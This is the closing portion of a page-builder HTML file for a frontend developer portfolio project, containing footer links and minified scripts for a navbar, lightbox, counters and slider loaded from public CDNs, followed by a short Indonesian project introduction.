<h4 id="itl95j" class="footer-title">Features </h4> <a id="ifskul" class="gpd-link footer-link">Integrations</a> <a id="ijasxj" class="gpd-link footer-link">Custom Blocks</a> <a id="ihm4kz" class="gpd-link footer-link">API</a> </div> <div id="ikeiog" class="cell footer-column"> <h4 class="footer-title">Legal </h4> <a id="ifmeek" class="gpd-link footer-link">Privacy Policy</a> <a id="i0a0b5" class="gpd-link footer-link">Terms &amp; Conditions</a> <a id="ie946q" class="gpd-link footer-link">Disclaimer</a> </div> </div> </div> </section> <style>html { scroll-behavior: smooth; } </style> <script>var items = document.querySelectorAll('#i3vv9'); for (var i = 0, len = items.length; i < len; i++) { (function(){ var t,e=0,n='gjs-collapse',r='max-height',o='ease-in-out',i=.25,a=function(){ var t,e=document.createElement('void'),n={ transition:'transitionend',OTransition:'oTransitionEnd',MozTransition:'transitionend',WebkitTransition:'webkitTransitionEnd'}; for(t in n)if(void 0!==e.style[t])return n[t]} (),s=function(t){ e=1; var n=function(t){ var e=window.getComputedStyle(t),n=e.display,o=parseInt(e[r]); if('none'!==n&&'0'!==o)return t.offsetHeight; t.style.height='auto',t.style.display='block',t.style.position='absolute',t.style.visibility='hidden'; var i=t.offsetHeight; return t.style.height='',t.style.display='',t.style.position='',t.style.visibility='',i} (t),a=t.style; a.display='block',a.transition=r+' '+i+'s '+o,a.overflowY='hidden',''==a[r]&&(a[r]=0),0==parseInt(a[r])?(a[r]='0',setTimeout(function(){ a[r]=n+'px'} ,10)):a[r]='0'}; n in this||this.addEventListener('click',function(n){ if(n.preventDefault(),!e){ var o=this.closest('.gpd-navbar').querySelector(".gpd-navbar__items"); s(o),t||(o.addEventListener(a,function(){ e=0; var t=o.style; 0==parseInt(t[r])&&(t.display='',t[r]='')} ),t=1)} } ),this[n]=1 } .bind(items[i]))(); } var items = document.querySelectorAll('#isldr'); for (var i = 0, len = items.length; i < len; i++) { (function(){ var t=this,e=function(){ var e='.gpd-lightbox'; if(!t._nolb&&!window.__glb){ for(var n=document.querySelectorAll(e),r=0;r<n.length;r++){ var o=n[r]; o.getAttribute('data-gallery')||o.setAttribute('data-gallery',o.id)} window.__glb=window.GLightbox({ zoomable:!1,selector:e} )} }; if(window.GLightbox)e(); else{ var n='https://unpkg.com/glightbox@3.0.3/dist/css/glightbox.min.css'; if(document.querySelector("link[href=\"".concat(n,"\"]")))return; var r=document.createElement('link'); r.href=n,r.rel='stylesheet',document.head.appendChild(r); var o=document.createElement('script'); o.src='https://unpkg.com/glightbox@3.0.3/dist/js/glightbox.min.js',o.onload=e,document.head.appendChild(o)} } .bind(items[i]))(); } var items = document.querySelectorAll('#imj2u2'); for (var i = 0, len = items.length; i < len; i++) { (function(){ var t=this,e=function(){ var e='.gpd-lightbox'; if(!t._nolb&&!window.__glb){ for(var n=document.querySelectorAll(e),r=0;r<n.length;r++){ var o=n[r]; o.getAttribute('data-gallery')||o.setAttribute('data-gallery',o.id)} window.__glb=window.GLightbox({ zoomable:!1,selector:e} )} }; if(window.GLightbox)e(); else{ var n='https://unpkg.com/glightbox@3.0.3/dist/css/glightbox.min.css'; if(document.querySelector("link[href=\"".concat(n,"\"]")))return; var r=document.createElement('link'); r.href=n,r.rel='stylesheet',document.head.appendChild(r); var o=document.createElement('script'); o.src='https://unpkg.com/glightbox@3.0.3/dist/js/glightbox.min.js',o.onload=e,document.head.appendChild(o)} } .bind(items[i]))(); } var props = { "itkix2":{ "startval":"11","endval":"98","decimals":"0","duration":"3","separator":",","decimal":".","prefix":"","suffix":"%","onscroll":true} ,"irmm9f":{ "startval":"0.1","endval":"4.9","decimals":"1","duration":"3","separator":",","decimal":".","prefix":"","suffix":"","onscroll":true} ,"itpj9o":{ "startval":"1","endval":"17","decimals":"0","duration":"3","separator":",","decimal":".","prefix":"","suffix":"M","onscroll":true} }; var ids = Object.keys(props).map(function(id) { return '#'+id } ).join(','); var els = document.querySelectorAll(ids); for (var i = 0, len = els.length; i < len; i++) { var el = els[i]; (function(t){ var e=this,n=function(){ var n=e,r=new(0,window.countUp.CountUp)(n,t.endval,{ startVal:t.startval,decimalPlaces:t.decimals,duration:t.duration,separator:t.separator,decimal:t.decimal,prefix:t.prefix,suffix:t.suffix} ); if(n.__countUp=r,t.onscroll&&!window._isEditor){ var o,i=!1,a=window.requestAnimationFrame||function(t){ return window.setTimeout(t,16.66)} ,s=function(){ var t=100,e=n.getBoundingClientRect(),i=e.top,a=e.bottom,s=window.innerHeight||document.documentElement.clientHeight; (i<=0&&a>=t||a>=s&&i<=s-t||i>=0&&a<=s)&&(r.start(),window.removeEventListener('scroll',o))}; o=function(){ return a(s)}; try{ window.addEventListener('e',null,{ get passive(){ i=!0} } )} catch(t){ } window.addEventListener('scroll',o,!!i&&{ passive:!0} ),s()} else r.start()}; if(window.countUp)n(); else{ var r='https://unpkg.com/countup.js@2.0.7/dist/countUp.umd.js'; if(document.querySelector("script[href=\"".concat(r,"\"]")))return; var o=document.createElement('script'); o.src=r,o.onload=n,document.head.appendChild(o)} } .bind(el))(props[el.id]); } var items = document.querySelectorAll('#i74k2j'); for (var i = 0, len = items.length; i < len; i++) { (function(){ var t=this,e=function(){ var e='.gpd-lightbox'; if(!t._nolb&&!window.__glb){ for(var n=document.querySelectorAll(e),r=0;r<n.length;r++){ var o=n[r]; o.getAttribute('data-gallery')||o.setAttribute('data-gallery',o.id)} window.__glb=window.GLightbox({ zoomable:!1,selector:e} )} }; if(window.GLightbox)e(); else{ var n='https://unpkg.com/glightbox@3.0.3/dist/css/glightbox.min.css'; if(document.querySelector("link[href=\"".concat(n,"\"]")))return; var r=document.createElement('link'); r.href=n,r.rel='stylesheet',document.head.appendChild(r); var o=document.createElement('script'); o.src='https://unpkg.com/glightbox@3.0.3/dist/js/glightbox.min.js',o.onload=e,document.head.appendChild(o)} } .bind(items[i]))(); } var items = document.querySelectorAll('#iys767'); for (var i = 0, len = items.length; i < len; i++) { (function(){ var t=this,e='https://cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.1/js/swiper.min.js',n='https://cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.1/css/swiper.min.css',r='{"initialSlide":0,"breakpoints":{"576":{"slidesPerView":1,"spaceBetween":0,"slidesPerGroup":1},"768":{"slidesPerView":1,"spaceBetween":0,"slidesPerGroup":1}},"fadeEffect":{"crossFade":true},"navigation":{"prevEl":"#iys767 .swiper-button-prev","nextEl":"#iys767 .swiper-button-next"},"loop":false,"direction":"horizontal","speed":300,"effect":"slide","spaceBetween":30,"slidesPerView":3,"slidesPerGroup":1,"centeredSlides":false,"slidesOffsetBefore":0,"slidesOffsetAfter":0,"pagination":{"type":"bullets","el":"#iys767 .swiper-pagination","dynamicBullets":false,"clickable":true},"observer":true,"observeParents":true}',o=r?JSON.parse(r):{ } ,i=t.__onLoad,a=t.__inSl; i&&(o.simulateTouch=!1),a&&(o.initialSlide=a); var s=function(){ var e=new Swiper(t.querySelector('.swiper-container'),o); i&&i(e)}; if(window.Swiper)s(); else{ var c=document.head,l=c.querySelector("link[href=\"".concat(n,"\"]")),u=c.querySelector("script[src=\"".concat(e,"\"]")); if(!l){ var d=document.createElement('link'); d.rel='stylesheet',d.href=n,c.appendChild(d)} if(u)u.addEventListener('load',s); else{ var p=document.createElement('script'); p.src=e,p.onload=s,c.appendChild(p)} } } .bind(items[i]))(); } </script>

Selamat datang di proyek Website Portofolio Frontend Dev! 🚀 Proyek ini bertujuan untuk mengembangkan pengetahuan kita terkait Frontend Development. Dengan menggunakan proyek ini, kita berharap dapat meningkatkan pemahaman dan keterampilan kita dalam berkontribusi di bidang pengembangan frontend.